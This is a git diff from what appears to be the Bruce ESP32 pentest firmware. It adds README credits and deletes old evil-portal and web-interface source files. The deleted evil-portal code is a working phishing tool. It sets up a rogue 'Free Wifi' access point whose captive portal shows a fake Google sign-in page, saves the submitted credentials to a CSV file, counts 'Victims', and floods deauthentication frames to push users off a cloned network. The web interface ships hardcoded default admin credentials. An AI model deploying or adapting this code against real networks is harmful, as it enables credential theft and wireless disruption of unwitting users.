diff --git a/README.md b/README.md
index 126b0356..ea77ab44 100644
--- a/README.md
+++ b/README.md
@@ -241,6 +241,9 @@ Other media can be [found here](./media/).
+ [@Luidiblu](https://github.com/Luidiblu) for logo and UI design assistance.
+ [@eadmaster](https://github.com/eadmaster) for adding a lot of features.
+ [@rennancockles](https://github.com/rennancockles) for a lot of RFID code, refactoring and others features.
++ [@7h30th3r0n3](https://github.com/7h30th3r0n3) refactoring and a lot of help with WiFi attacks.
++ [Smoochiee]() for Bruce PCB design.
++ [TH3_KR4K3N]() for Stick cplus extender PCB design.
+ Everyone who contributed in some way to the project, thanks :heart:
## :construction: Disclaimer
diff --git a/html/AsyncWebServer/evil_portal.cpp b/html/AsyncWebServer/evil_portal.cpp
deleted file mode 100644
index 7ad1ec03..00000000
--- a/html/AsyncWebServer/evil_portal.cpp
+++ /dev/null
@@ -1,305 +0,0 @@
-#include "evil_portal.h"
-#include "globals.h"
-#include "mykeyboard.h"
-#include "wifi_common.h"
-#include "sd_functions.h"
-#include "wifi_atks.h"
-
-AsyncWebServer *ep; // initialise webserver
-DNSServer dnsServer;
-
-String html_file, ep_logo, last_cred;
-String AP_name = "Free Wifi";
-int totalCapturedCredentials = 0;
-int previousTotalCapturedCredentials = -1; // stupid hack but wtfe
-String capturedCredentialsHtml = "";
-
-// Default Drauth Frame
-const uint8_t deauth_frame_default2[] = {
- 0xc0, 0x00, 0x3a, 0x01,
- 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0xf0, 0xff, 0x02, 0x00
-};
-
-class CaptiveRequestHandler : public AsyncWebHandler {
-public:
- CaptiveRequestHandler() {}
- virtual ~CaptiveRequestHandler() {}
-
- bool canHandle(AsyncWebServerRequest *request){
- //request->addInterestingHeader("ANY");
- return true;
- }
-
- void handleRequest(AsyncWebServerRequest *request) {
- AsyncResponseStream *response = request->beginResponseStream("text/html");
- if(request->hasParam("ssid")) request->redirect("/ssid"); // If there is a parameter called "ssid", changes network
- else if(request->params()>0) { // Else if there are other parameters, store in the memory
- String html_temp = "
"; // Else.. after all that, redirects to the page
- String csvLine = "";
- last_cred="";
- for (int i = 0; i < request->params(); i++) {
- AsyncWebParameter *param = request->getParam(i);
- html_temp += param->name() + ": " + param->value() + " \n";
- // Prepara dados para salvar no SD
- if (i != 0) {
- csvLine += ",";
- last_cred +=",";
- }
- csvLine += param->name() + ": " + param->value();
- last_cred += param->name().substring(0,1) + ": " + param->value();
- }
- html_temp += " \n";
- saveToCSV("/Bruce_creds.csv", csvLine);
- capturedCredentialsHtml = html_temp + capturedCredentialsHtml;
- totalCapturedCredentials++;
- request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."));
- }
- else {
- request->redirect("/");
- }
- }
-};
-
-void startEvilPortal(String tssid, uint8_t channel, bool deauth) {
- int tmp=millis(); // one deauth frame each 30ms at least
- bool redraw=true;
- Serial.begin(115200);
- // Definição da matriz "Options"
- options = {
- {"Default", [=]() { chooseHtml(false); }},
- {"Custom Html", [=]() { chooseHtml(true); }},
- };
- delay(200);
- loopOptions(options);
-
- while(checkNextPress()){ yield(); } // debounce
- delay(200);
- // tssid="" means that are opening a virgin Evil Portal
- if (tssid=="") {
- AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:");
- }
- else { // tssid != "" means that is was cloned and can deploy Deauth
- //memcpy(ap_record.bssid, bssid, 6);
- memcpy(deauth_frame, deauth_frame_default2, sizeof(deauth_frame_default2));
- wsl_bypasser_send_raw_frame(&ap_record,channel);
- AP_name = tssid;
- }
-
- wifiConnected=true;
- drawMainBorder();
- displayRedStripe("Starting..",TFT_WHITE,bruceConfig.priColor);
-
- IPAddress AP_GATEWAY(172, 0, 0, 1);
- WiFi.mode(WIFI_MODE_AP);
- WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
- WiFi.softAP(AP_name,emptyString,channel);
-
- tmp=millis();
- while(millis() - tmp < 3000) yield();
- dnsServer.start(53, "*", WiFi.softAPIP());
- ep = new AsyncWebServer(80);
-
- // if url isn't found
- ep->onNotFound([](AsyncWebServerRequest * request) {
- request->redirect("/");
- });
-
- ep->on("/creds", HTTP_GET, [](AsyncWebServerRequest * request) {
- request->send(200, "text/html", creds_GET());
- });
-
- ep->on("/ssid", HTTP_GET, [](AsyncWebServerRequest * request) {
- request->send(200, "text/html", ssid_GET());
- });
-
- ep->on("/postssid", HTTP_GET, [](AsyncWebServerRequest * request) {
- if(request->hasArg("ssid")) AP_name = request->arg("ssid").c_str();
- request->send(200, "text/html", ssid_POST());
- ep->end(); // pára o servidor
- wifiDisconnect(); // desliga o WiFi
- WiFi.softAP(AP_name); // reinicia WiFi com novo SSID
- ep->begin(); // reinicia o servidor
- previousTotalCapturedCredentials=-1; // redesenha a tela
- });
-
- ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) {
- request->send(200, "text/html", clear_GET());
- });
-
- ep->on("/", HTTP_GET, [](AsyncWebServerRequest * request) {
- request->send(200, "text/html", html_file);
- });
-
- ep->addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER); //only when requested from AP
-
- log_d("Total heap: %d", ESP.getHeapSize());
- log_d("Free heap: %d", ESP.getFreeHeap());
- log_d("Total PSRAM: %d", ESP.getPsramSize());
- log_d("Free PSRAM: %d", ESP.getFreePsram());
-
- if(psramFound()) ep = (AsyncWebServer*)ps_malloc(sizeof(AsyncWebServer));
- else ep = (AsyncWebServer*)malloc(sizeof(AsyncWebServer));
-
- new (ep) AsyncWebServer(80);
-
- ep->begin();
- tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, bruceConfig.bgColor);
-
- bool hold_deauth = false;
- tmp=millis(); // one deauth frame each 30ms at least
- redraw=true;
- while(1) {
- if(redraw) {
- drawMainBorder();
- tft.setTextSize(FM);
- tft.setTextColor(TFT_RED);
- tft.drawCentreString("Evil Portal",WIDTH/2, 29, SMOOTH_FONT);
- tft.setCursor(7,49);
- tft.setTextColor(bruceConfig.priColor);
- tft.println("AP: " + AP_name);
- tft.setCursor(7,tft.getCursorY());
- tft.println("->" + WiFi.softAPIP().toString() + "/creds");
- tft.setCursor(7,tft.getCursorY());
- tft.println("->" + WiFi.softAPIP().toString() + "/ssid");
- tft.setCursor(7,tft.getCursorY());
- tft.print("Victims: ");
- tft.setTextColor(TFT_RED);
- tft.println(String(totalCapturedCredentials));
- tft.setCursor(7,tft.getCursorY());
- tft.setTextSize(FP);
- tft.println(last_cred);
-
- if (deauth){
- if (hold_deauth) {
- tft.setTextSize(FP);
- tft.setTextColor(bruceConfig.priColor);
- tft.drawRightString("Deauth OFF", WIDTH-7,HEIGHT-14,SMOOTH_FONT);
- } else {
- tft.setTextSize(FP);
- tft.setTextColor(TFT_RED);
- tft.drawRightString("Deauth ON", WIDTH-7,HEIGHT-14,SMOOTH_FONT);
- }
- }
-
- //menu_op.pushSprite(8,26);
- redraw=false;
- }
-
- if(!hold_deauth && (millis()-tmp) >5) {
- wsl_bypasser_send_raw_frame(deauth_frame, 26); // sends deauth frames if needed.
- tmp=millis();
- }
-
- if(checkSelPress() && deauth) {
- while(checkSelPress()) { delay(80); } // timerless debounce
- hold_deauth = !hold_deauth;
- redraw=true;
- }
- if(totalCapturedCredentials!=(previousTotalCapturedCredentials+1)) {
- redraw=true;
- previousTotalCapturedCredentials = totalCapturedCredentials-1;
- }
- dnsServer.processNextRequest();
-
- if(checkEscPress()) break;
-
- }
- ep->reset();
- ep->end();
- ep->~AsyncWebServer();
- free(ep);
- ep = nullptr;
-
- delay(100);
- wifiDisconnect();
-}
-
-// Função para salvar dados no arquivo CSV
-void saveToCSV(const String &filename, const String &csvLine) {
- File file = SD.open(filename, FILE_APPEND);
- if (!file) {
- Serial.println("Error to open file");
- return;
- }
- file.println(csvLine);
- file.close();
- Serial.println("data saved");
-}
-
-String getHtmlContents(String body) {
- PROGMEM String html =
- ""
- ""
- ""
- " "
- + AP_name + " "
- " "
- " "
- " "
- ""
- ""
- " "
- "
"
- " "
- " "
- "
"
- "
"
- "
"
- ""
- "";
- return html;
-}
-
-String creds_GET() {
- return getHtmlContents("" + capturedCredentialsHtml + " Back to Index
Clear passwords
");
-}
-
-String ssid_GET() {
- return getHtmlContents("Set a new SSID for EVIL Portal:
");
-}
-String ssid_POST() {
- return getHtmlContents("EVIL Portal shutting down and restarting with SSID " + AP_name + " . Please reconnect.");
-}
-
-String index_GET() {
- String loginTitle = String("Sign in");
- String loginSubTitle = String("Use your Google Account");
- String loginEmailPlaceholder = String("Email");
- String loginPasswordPlaceholder = String("Password");
- String loginMessage = String("Please log in to browse securely.");
- String loginButton = String("Next");
-
- return getHtmlContents("" + loginTitle + "
" + loginSubTitle + "
");
-}
-String clear_GET() {
- String email = "
";
- String password = "
";
- capturedCredentialsHtml = "
";
- totalCapturedCredentials = 0;
- return getHtmlContents("The credentials list has been reset.
Back to capturedCredentialsHtml Back to Index ");
-}
-
-void chooseHtml(bool def) {
- ep_logo = "";
- if(def) {
- html_file = loopSD(true);
- if(html_file.endsWith(".html")) {
- ep_logo = "";
- File html = SD.open(html_file, FILE_READ);
- html_file = html.readString();
- } else {
- html_file = index_GET();
- }
- } else {
- html_file = index_GET();
- }
-}
diff --git a/html/AsyncWebServer/evil_portal.h b/html/AsyncWebServer/evil_portal.h
deleted file mode 100644
index e6d9bb02..00000000
--- a/html/AsyncWebServer/evil_portal.h
+++ /dev/null
@@ -1,27 +0,0 @@
-#include
-#include
-#include "AsyncTCP.h"
-#include "ESPAsyncWebServer.h"
-#include
-#include
-
-// function defaults
-
-void startEvilPortal(String tssid = "", uint8_t channel = 6, bool deauth = false);
-
-void chooseHtml(bool def = true);
-
-String getHtmlContents(String body);
-
-String creds_GET();
-
-String index_GET();
-
-String clear_GET();
-
-String ssid_GET();
-
-String ssid_POST();
-
-void saveToCSV(const String &filename, const String &csvLine);
-
diff --git a/html/AsyncWebServer/webInterface.cpp b/html/AsyncWebServer/webInterface.cpp
deleted file mode 100644
index 2beb32d3..00000000
--- a/html/AsyncWebServer/webInterface.cpp
+++ /dev/null
@@ -1,455 +0,0 @@
-#include "globals.h"
-#include "webInterface.h"
-#include "sd_functions.h" // using sd functions called to rename and manage sd files
-#include "wifi_common.h" // using common wifisetup
-#include "mykeyboard.h" // using keyboard when calling rename
-#include "display.h" // using displayRedStripe as error msg
-
-
-struct Config {
- String httpuser;
- String httppassword; // password to access web admin
- int webserverporthttp; // http port number for web admin
-};
-
-// variables
-// command = U_SPIFFS = 100
-// command = U_FLASH = 0
-int command = 0;
-bool updateFromSd_var = false;
-bool update;
-
-size_t file_size;
- // WiFi as a Client
-String default_httpuser = "admin";
-String default_httppassword = "bruce";
-const int default_webserverporthttp = 80;
-
-//WiFi as an Access Point
-IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway
-
-Config config; // configuration
-
-AsyncWebServer *server = nullptr; // initialise webserver
-const char* host = "bruce";
-const String fileconf = "/bruce.txt";
-bool shouldReboot = false; // schedule a reboot
-String uploadFolder="";
-
-
-
-/**********************************************************************
-** Function: webUIMyNet
-** Display options to launch the WebUI
-**********************************************************************/
-void webUIMyNet() {
- if (WiFi.status() != WL_CONNECTED) {
- if(wifiConnectMenu()) startWebUi(false);
- else {
- displayError("Wifi Offline");
- }
- } else {
- //If it is already connected, just start the network
- startWebUi(false);
- }
- sprite.createSprite(WIDTH-20,HEIGHT-20);
- // On fail installing will run the following line
-}
-
-
-/**********************************************************************
-** Function: loopOptionsWebUi
-** Display options to launch the WebUI
-**********************************************************************/
-void loopOptionsWebUi() {
- // Definição da matriz "Options"
- options = {
- {"my Network", [=]() { webUIMyNet(); }},
- {"AP mode", [=]() { startWebUi(true); }},
- };
- delay(200);
-
- loopOptions(options);
- sprite.createSprite(WIDTH-20,HEIGHT-20);
- // On fail installing will run the following line
-}
-
-
-/**********************************************************************
-** Function: humanReadableSize
-** Make size of files human readable
-** source: https://github.com/CelliesProjects/minimalUploadAuthESP32
-**********************************************************************/
-String humanReadableSize(uint64_t bytes) {
- if (bytes < 1024) return String(bytes) + " B";
- else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + " kB";
- else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + " MB";
- else return String(bytes / 1024.0 / 1024.0 / 1024.0) + " GB";
-}
-
-
-
-/**********************************************************************
-** Function: listFiles
-** list all of the files, if ishtml=true, return html rather than simple text
-**********************************************************************/
-String listFiles(bool ishtml, String folder) {
- String returnText = "";
- Serial.println("Listing files stored on SD");
-
- if (ishtml) {
- returnText += "Name Size \n";
- }
- File root = SD.open(folder);
- File foundfile = root.openNextFile();
- if (folder=="//") folder = "/";
- uploadFolder = folder;
- String PreFolder = folder;
- PreFolder = PreFolder.substring(0, PreFolder.lastIndexOf("/"));
- if(PreFolder=="") PreFolder= "/";
- returnText += "... \n";
-
- if (folder=="/") folder = "";
- while (foundfile) {
- if(foundfile.isDirectory()) {
- if (ishtml) {
- returnText += "\n" + String(foundfile.name()) + " ";
- returnText += " \n";
- returnText += "   ";
- returnText += "   \n";
- returnText += " \n\n";
- } else {
- returnText += "Folder: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n";
- }
- }
- foundfile = root.openNextFile();
- }
- root.close();
- foundfile.close();
-
- if (folder=="") folder = "/";
- root = SD.open(folder);
- foundfile = root.openNextFile();
- while (foundfile) {
- if(!(foundfile.isDirectory())) {
- if (ishtml) {
- returnText += "" + String(foundfile.name()) + " \n";
- returnText += "" + humanReadableSize(foundfile.size()) + " \n";
- returnText += "   \n";
- returnText += "   \n";
- returnText += " \n\n";
- } else {
- returnText += "File: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n";
- }
- }
- foundfile = root.openNextFile();
- }
- root.close();
- foundfile.close();
-
- if (ishtml) {
- returnText += "
";
- }
-
- return returnText;
-}
-
-/**********************************************************************
-** Function: processor
-** parses and processes webpages if the webpage has %SOMETHING%
-** or %SOMETHINGELSE% it will replace those strings with the ones defined
-**********************************************************************/
-
-String processor(const String& var) {
- if (var == "FIRMWARE") return String(BRUCE_VERSION);
- else if (var == "FREESD") return humanReadableSize(SD.totalBytes() - SD.usedBytes());
- else if (var == "USEDSD") return humanReadableSize(SD.usedBytes());
- else if (var == "TOTALSD") return humanReadableSize(SD.totalBytes());
- else return "Attribute not configured";
-}
-
-
-/**********************************************************************
-** Function: checkUserWebAuth
-** used by server.on functions to discern whether a user has the correct
-** httpapitoken OR is authenticated by username and password
-**********************************************************************/
-bool checkUserWebAuth(AsyncWebServerRequest * request) {
- bool isAuthenticated = false;
- if (request->authenticate(config.httpuser.c_str(), config.httppassword.c_str())) {
- isAuthenticated = true;
- }
- return isAuthenticated;
-}
-
-/**********************************************************************
-** Function: handleUpload
-** handles uploads to the filserver
-**********************************************************************/
-void handleUpload(AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) {
- // make sure authenticated before allowing upload
- Serial.println("Folder: " + uploadFolder);
- if (uploadFolder=="/") uploadFolder = "";
-
- if (checkUserWebAuth(request)) {
- if (!index) {
- // open the file on first call and store the file handle in the request object
- request->_tempFile = SD.open(uploadFolder + "/" + filename, "w");
- }
-
- if (len) {
- // stream the incoming chunk to the opened file
- request->_tempFile.write(data, len);
- }
-
- if (final) {
- // close the file handle as the upload is now done
- request->_tempFile.close();
- request->redirect("/");
- enableCore0WDT();
- }
- } else {
- return request->requestAuthentication();
- }
-}
-/**********************************************************************
-** Function: notFound
-** handles not found requests
-**********************************************************************/
-void notFound(AsyncWebServerRequest *request) {
- request->send(404, "text/plain", "Not found");
-}
-
-
-
-/**********************************************************************
-** Function: configureWebServer
-** configure web server
-**********************************************************************/
-void configureWebServer() {
-
- MDNS.begin(host);
-
- // if url isn't found
- server->onNotFound([](AsyncWebServerRequest * request) {
- request->redirect("/");
- });
-
- // visiting this page will cause you to be logged out
- server->on("/logout", HTTP_GET, [](AsyncWebServerRequest * request) {
- request->requestAuthentication();
- request->send(401);
- });
-
- // presents a "you are now logged out webpage
- server->on("/logged-out", HTTP_GET, [](AsyncWebServerRequest * request) {
- String logmessage = "Client:" + request->client()->remoteIP().toString() + " " + request->url();
- Serial.println(logmessage);
- request->send_P(401, "text/html", logout_html, processor);
- });
-
- server->on("/rename", HTTP_POST, [](AsyncWebServerRequest * request) {
- if (request->hasParam("fileName", true) && request->hasParam("filePath", true)) {
- String fileName = request->getParam("fileName", true)->value().c_str();
- String filePath = request->getParam("filePath", true)->value().c_str();
- String filePath2 = filePath.substring(0,filePath.lastIndexOf('/')+1) + fileName;
- if(!SD.begin()) {
- sdcardMounted=false;
- request->send(200, "text/plain", "Fail starting SD Card.");
- } else {
- // Rename the file of folder
- if (SD.rename(filePath, filePath2)) {
- request->send(200, "text/plain", filePath + " renamed to " + filePath2);
- } else {
- request->send(200, "text/plain", "Fail renaming file.");
- }
- }
- }
- });
-
- // run handleUpload function when any file is uploaded
- server->onFileUpload(handleUpload);
-
-
- server->on("/", HTTP_GET, [](AsyncWebServerRequest * request) {
- if (checkUserWebAuth(request)) {
- request->send_P(200, "text/html", index_html, processor);
- } else {
- return request->requestAuthentication();
- }
- });
-
- server->on("/reboot", HTTP_GET, [](AsyncWebServerRequest * request) {
- if (checkUserWebAuth(request)) {
- ESP.restart();
- } else {
- return request->requestAuthentication();
- }
- });
-
- server->on("/listfiles", HTTP_GET, [](AsyncWebServerRequest * request)
- {
- if (checkUserWebAuth(request)) {
- update = false;
- String folder = "";
- if (request->hasParam("folder")) {
- folder = request->getParam("folder")->value().c_str();
- } else {
- String folder = "/";
- }
- request->send(200, "text/plain", listFiles(true, folder));
-
- } else {
- return request->requestAuthentication();
- }
- });
-
- server->on("/file", HTTP_GET, [](AsyncWebServerRequest * request) {
- if (checkUserWebAuth(request)) {
- if (request->hasParam("name") && request->hasParam("action")) {
- const char *fileName = request->getParam("name")->value().c_str();
- const char *fileAction = request->getParam("action")->value().c_str();
-
- if (!SD.exists(fileName)) {
- request->send(400, "text/plain", "ERROR: file does not exist");
- } else {
- if (strcmp(fileAction, "download") == 0) {
- request->send(SD, fileName, "application/octet-stream");
- } else if (strcmp(fileAction, "delete") == 0) {
- if(deleteFromSd(fileName)) { request->send(200, "text/plain", "Deleted : " + String(fileName)); }
- else { request->send(200, "text/plain", "FAIL delating: " + String(fileName));}
-
- } else if (strcmp(fileAction, "create") == 0) {
- if(SD.mkdir(fileName)) {
- } else { request->send(200, "text/plain", "FAIL creating folder: " + String(fileName));}
- request->send(200, "text/plain", "Created new folder: " + String(fileName));
- } else {
- request->send(400, "text/plain", "ERROR: invalid action param supplied");
- }
- }
- } else {
- request->send(400, "text/plain", "ERROR: name and action params required");
- }
- } else {
- return request->requestAuthentication();
- }
- });
-
- server->on("/wifi", HTTP_GET, [](AsyncWebServerRequest * request) {
- if (checkUserWebAuth(request)) {
- if (request->hasParam("usr") && request->hasParam("pwd")) {
- const char *ssid = request->getParam("usr")->value().c_str();
- const char *pwd = request->getParam("pwd")->value().c_str();
- SD.remove(fileconf);
- File file = SD.open(fileconf, FILE_WRITE);
- file.print(String(ssid) + ";" + String(pwd) + ";\n");
- config.httpuser = ssid;
- config.httppassword = pwd;
- file.print("#ManagerUser;ManagerPassword;");
- file.close();
- request->send(200, "text/plain", "User: " + String(ssid) + " configured with password: " + String(pwd));
- }
- } else {
- return request->requestAuthentication();
- }
- });
-
- server->on("/Oc34N", HTTP_GET, [](AsyncWebServerRequest * request) {
- request->send(404, "text/html", page_404);
- });
-
-}
-
-/**********************************************************************
-** Function: startWebUi
-** Start the WebUI
-**********************************************************************/
-void startWebUi(bool mode_ap) {
-
-config.httpuser = default_httpuser;
-config.httppassword = default_httppassword;
-config.webserverporthttp = default_webserverporthttp;
-file_size = 0;
-
- if(setupSdCard()) {
- if(SD.exists(fileconf)) {
- Serial.println("File Exists, reading " + fileconf);
- File file = SD.open(fileconf, FILE_READ);
- if(file) {
- default_httpuser = readLineFromFile(file);
- default_httppassword = readLineFromFile(file);
- config.httpuser = default_httpuser;
- config.httppassword = default_httppassword;
-
- file.close();
- }
- }
- else {
- File file = SD.open(fileconf, FILE_WRITE);
- file.print( default_httpuser + ";" + default_httppassword + ";\n");
- file.print("#ManagerUser;ManagerPassword;");
- file.close();
- }
- }
-
- if (WiFi.status() != WL_CONNECTED) {
- // Choose wifi access mode
- wifiConnectMenu(mode_ap);
- }
-
- // configure web server
- Serial.println("Configuring Webserver ...");
- server = (AsyncWebServer*)malloc(sizeof(AsyncWebServer));
- new (server) AsyncWebServer(config.webserverporthttp);
- configureWebServer();
- server->begin();
-
- drawMainBorder();
- setTftDisplay(0,0,ALCOLOR,FM);
- tft.drawCentreString("BRUCE WebUI",WIDTH/2,7,1);
- String txt;
- if(!mode_ap) txt = WiFi.localIP().toString();
- else txt = WiFi.softAPIP().toString();
- tft.setTextColor(bruceConfig.priColor);
-
-#ifndef STICK_C
- tft.drawCentreString("http://bruce.local", WIDTH/2,25,1);
- setTftDisplay(7,47);
-#else
- tft.drawCentreString("http://bruce.local", WIDTH/2,17,1);
- setTftDisplay(7,26);
-#endif
- tft.setTextSize(FM);
- tft.print("IP: "); tft.println(txt);
- tft.setCursor(7,tft.getCursorY());
- tft.println("Usr: " + String(default_httpuser));
- tft.setCursor(7,tft.getCursorY());
- tft.println("Pwd: " + String(default_httppassword));
- tft.setCursor(7,tft.getCursorY());
- tft.setTextColor(TFT_RED);
- tft.setTextSize(FP);
-
- #ifdef CARDPUTER
- tft.drawCentreString("press Esc to stop", WIDTH/2,HEIGHT-15,1);
- #else
- tft.drawCentreString("press Pwr to stop", WIDTH/2,HEIGHT-15,1);
- #endif
-
- disableCore0WDT();
- disableCore1WDT();
- disableLoopWDT();
- while (!checkSelPress()) {
- // nothing here, just to hold the screen until the server is on.
- }
- server->reset();
- server->end();
- server->~AsyncWebServer();
- free(server);
-
- server = nullptr;
-
-
- delay(100);
- wifiDisconnect();
-
-}
\ No newline at end of file
diff --git a/html/AsyncWebServer/webInterface.h b/html/AsyncWebServer/webInterface.h
deleted file mode 100644
index 2021675f..00000000
--- a/html/AsyncWebServer/webInterface.h
+++ /dev/null
@@ -1,503 +0,0 @@
-
-#include
-#include "AsyncTCP.h"
-#include "ESPAsyncWebServer.h"
-#include
-#include
-#include
-
-// function defaults
-String humanReadableSize(uint64_t bytes);
-String listFiles(bool ishtml, String folder);
-String processor(const String& var);
-String readLineFromFile(File myFile);
-
-void loopOptionsWebUi();
-
-void handleUpload(AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final);
-void notFound(AsyncWebServerRequest *request);
-
-void configureWebServer();
-void startWebUi(bool mode_ap = false);
-
-const char index_html[] PROGMEM = R"rawliteral(
-
-
-
-
-
-
-
-
-
-
-
-
-
BRUCE Firmware
-
Firmware for offensive pranks and pentest studies and analysis. For educational purposes only. Don't use in environments where you are not allowed. All responsibilities for irresponsible usage of this firmware rest on your fin, sharky. Sincerely, Bruce.
-
Firmware version: %FIRMWARE%
-
Free Storage: %FREESD% | Used: %USEDSD% | Total: %TOTALSD%
-
-
-
Reboot
-
Usr/Pass
-
SD Files
-
-
-
-
-
-
-
-
-
-
-
-
-)rawliteral";
-
-const char logout_html[] PROGMEM = R"rawliteral(
-
-
-
-
-
-
-
-
-
-
-
-)rawliteral";
-
-
-const char page_404[] PROGMEM = R"rawliteral(
-
-
-)rawliteral";
\ No newline at end of file
diff --git a/html/WebServer/evil_portal.cpp b/html/WebServer/evil_portal.cpp
deleted file mode 100644
index d988bd6e..00000000
--- a/html/WebServer/evil_portal.cpp
+++ /dev/null
@@ -1,267 +0,0 @@
-#include "evil_portal.h"
-#include "globals.h"
-#include "mykeyboard.h"
-#include "wifi_common.h"
-#include "sd_functions.h"
-#include "wifi_atks.h"
-
-WebServer* ep= nullptr; // initialise webserver
-DNSServer dnsServer;
-
-String html_file, ep_logo, last_cred;
-String AP_name = "Free Wifi";
-int totalCapturedCredentials = 0;
-int previousTotalCapturedCredentials = -1; // stupid hack but wtfe
-String capturedCredentialsHtml = "";
-
-// Default Drauth Frame
-const uint8_t deauth_frame_default2[] = {
- 0xc0, 0x00, 0x3a, 0x01,
- 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0xf0, 0xff, 0x02, 0x00
-};
-
-void handleCreds() {
- String html_temp = "";
- String csvLine = "";
- last_cred="";
- for (int i = 0; i < ep->args(); i++) {
- html_temp += ep->argName(i) + ": " + ep->arg(i) + " \n";
- // Prepara dados para salvar no SD
- if (i != 0) {
- csvLine += ",";
- }
- csvLine += ep->argName(i) + ": " + ep->arg(i);
- last_cred += ep->argName(i).substring(0,3) + ": " + ep->arg(i) + "\n";
- }
- html_temp += " \n";
- saveToCSV("/Bruce_creds.csv", csvLine);
- capturedCredentialsHtml = html_temp + capturedCredentialsHtml;
- totalCapturedCredentials++;
- ep->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."));
-}
-
-void startEvilPortal(String tssid, uint8_t channel, bool deauth) {
-
- ep=(WebServer*)malloc(sizeof(WebServer));
- new (ep) WebServer(80);
- bool redraw=true;
- // Definição da matriz "Options"
- options = {
- {"Default", [=]() { chooseHtml(false); }},
- {"Custom Html", [=]() { chooseHtml(true); }},
- };
- delay(200);
- loopOptions(options);
- while(checkNextPress()){ yield(); } // debounce
-
- // tssid="" means that are opening a virgin Evil Portal
- if (tssid=="") {
- AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:");
- }
- else { // tssid != "" means that is was cloned and can deploy Deauth
- //memcpy(ap_record.bssid, bssid, 6);
- memcpy(deauth_frame, deauth_frame_default2, sizeof(deauth_frame_default2));
- wsl_bypasser_send_raw_frame(&ap_record,channel);
- AP_name = tssid;
- }
-
-
- delay(200);
- IPAddress AP_GATEWAY(172, 0, 0, 1);
- WiFi.mode(WIFI_AP);
- WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
- WiFi.softAP(AP_name,emptyString,channel,0,10,false);
- wifiConnected=true;
- dnsServer.start(53, "*", WiFi.softAPIP());
-
- ep->on("/", [](){
- ep->send(200, "text/html", html_file);
- });
- ep->on("/post", handleCreds);
-
- ep->onNotFound([](){
- if (ep->args()>0) {
- handleCreds();
- } else {
- ep->send(200, "text/html", html_file);
- }
- });
-
- ep->on("/creds", []() {
- ep->send(200, "text/html", creds_GET());
- });
-
- ep->on("/ssid", []() {
- ep->send(200, "text/html", ssid_GET());
- });
-
- ep->on("/postssid", [](){
- if(ep->hasArg("ssid")) AP_name = ep->arg("ssid").c_str();
- ep->send(200, "text/html", ssid_POST());
- ep->stop(); // pára o servidor
- wifiDisconnect(); // desliga o WiFi
- WiFi.softAP(AP_name); // reinicia WiFi com novo SSID
- ep->begin(); // reinicia o servidor
- previousTotalCapturedCredentials=-1; // redesenha a tela
- });
-
- ep->begin();
-
- bool hold_deauth = false;
- int tmp=millis(); // one deauth frame each 30ms at least
- redraw=true;
- while(1) {
- if(redraw) {
- drawMainBorder();
-
- tft.setTextSize(FM);
- tft.setTextColor(TFT_RED);
- tft.drawCentreString("Evil Portal",WIDTH/2, 29, SMOOTH_FONT);
- tft.setCursor(8,46);
- tft.setTextColor(bruceConfig.priColor);
- tft.println("AP: " + AP_name);
- tft.setCursor(8,tft.getCursorY());
- tft.println("->" + WiFi.softAPIP().toString() + "/creds");
- tft.setCursor(8,tft.getCursorY());
- tft.println("->" + WiFi.softAPIP().toString() + "/ssid");
- tft.setCursor(8,tft.getCursorY());
- tft.print("Victims: ");
- tft.setTextColor(TFT_RED);
- tft.println(String(totalCapturedCredentials));
- tft.setCursor(8,tft.getCursorY());
- tft.setTextSize(FP);
- tft.println(last_cred);
-
- if (deauth){
- if (hold_deauth) {
- tft.setTextSize(FP);
- tft.setTextColor(bruceConfig.priColor);
- tft.drawRightString("Deauth OFF", WIDTH-6,HEIGHT-8,SMOOTH_FONT);
- } else {
- tft.setTextSize(FP);
- tft.setTextColor(TFT_RED);
- tft.drawRightString("Deauth ON", WIDTH-6,HEIGHT-8,SMOOTH_FONT);
- }
- }
-
- redraw=false;
- }
-
- if(!hold_deauth && (millis()-tmp) >5) {
- wsl_bypasser_send_raw_frame(deauth_frame, 26); // sends deauth frames if needed.
- tmp=millis();
- }
-
- if(checkSelPress() && deauth) {
- while(checkSelPress()) { delay(80); } // timerless debounce
- hold_deauth = !hold_deauth;
- redraw=true;
- }
- if(totalCapturedCredentials!=(previousTotalCapturedCredentials+1)) {
- redraw=true;
- previousTotalCapturedCredentials = totalCapturedCredentials-1;
- }
- dnsServer.processNextRequest();
- ep->handleClient();
-
- if(checkEscPress()) break;
- }
- ep->close();
- ep->~WebServer();
- free(ep);
- ep=nullptr;
- dnsServer.stop();
-
- delay(100);
- wifiDisconnect();
-}
-
-// Função para salvar dados no arquivo CSV
-void saveToCSV(const String &filename, const String &csvLine) {
- File file = SD.open(filename, FILE_APPEND);
- if (!file) {
- log_i("Error to open file");
- return;
- }
- file.println(csvLine);
- file.close();
- log_i("data saved");
-}
-
-String getHtmlContents(String body) {
- PROGMEM String html =
- ""
- ""
- ""
- " "
- + AP_name + " "
- " "
- " "
- " "
- ""
- ""
- " "
- "
"
- " "
- " "
- "
"
- "
"
- "
"
- ""
